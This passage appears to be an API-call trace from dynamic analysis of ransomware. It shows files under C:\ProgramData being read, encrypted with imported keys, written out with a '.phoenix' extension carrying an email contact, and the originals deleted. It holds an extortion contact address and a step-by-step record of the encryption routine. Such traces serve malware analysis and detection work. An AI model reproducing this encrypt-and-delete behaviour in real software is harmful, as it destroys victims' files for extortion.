	[0249.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif")) returned 0x20
	[0249.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.687] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.688] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0249.689] CloseHandle (hObject=0x2b0) returned 1
	[0249.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.689] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.689] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.689] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.689] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.690] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0249.690] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.690] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0249.709] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
	[0249.709] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0249.710] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0249.710] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.710] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0249.710] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.710] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0249.710] CryptDestroyKey (hKey=0x151500) returned 1
	[0249.710] CloseHandle (hObject=0x2b0) returned 1
	[0249.710] CloseHandle (hObject=0x2e8) returned 1
	[0249.711] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.712] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.712] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.712] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0249.713] CloseHandle (hObject=0x2e8) returned 1
	[0249.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.713] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.713] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.713] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.713] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.714] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151280) returned 1
	[0249.714] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.714] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0249.721] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
	[0249.721] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0249.722] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0249.722] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.722] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0249.722] CryptDestroyKey (hKey=0x151200) returned 1
	[0249.722] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0249.722] CryptDestroyKey (hKey=0x151280) returned 1
	[0249.722] CloseHandle (hObject=0x2e8) returned 1
	[0249.722] CloseHandle (hObject=0x2b0) returned 1
	[0249.722] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.723] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.723] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.730] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0249.730] CloseHandle (hObject=0x2b0) returned 1
	[0249.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.731] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.731] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.731] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.731] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.731] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0249.731] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.731] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2000, lpOverlapped=0x0) returned 1
	[0249.757] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010, dwBufLen=0x2010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010) returned 1
	[0249.757] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2010, lpOverlapped=0x0) returned 1
	[0249.758] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0249.758] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.758] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0249.758] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0249.758] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0249.758] CryptDestroyKey (hKey=0x151640) returned 1
	[0249.759] CloseHandle (hObject=0x2b0) returned 1
	[0249.759] CloseHandle (hObject=0x2e8) returned 1
	[0249.759] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.760] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.760] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.760] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0249.760] CloseHandle (hObject=0x2e8) returned 1
	[0249.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.760] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.761] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.761] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.761] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.763] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0249.763] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.763] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0249.851] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
	[0249.851] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0249.852] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0249.852] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.852] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0249.852] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0249.852] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0249.852] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0249.852] CloseHandle (hObject=0x2e8) returned 1
	[0249.852] CloseHandle (hObject=0x2b0) returned 1
	[0249.853] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.854] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.859] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0249.859] CloseHandle (hObject=0x2c4) returned 1
	[0249.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.859] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.859] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.859] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.859] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.861] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0249.862] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.862] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0249.864] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
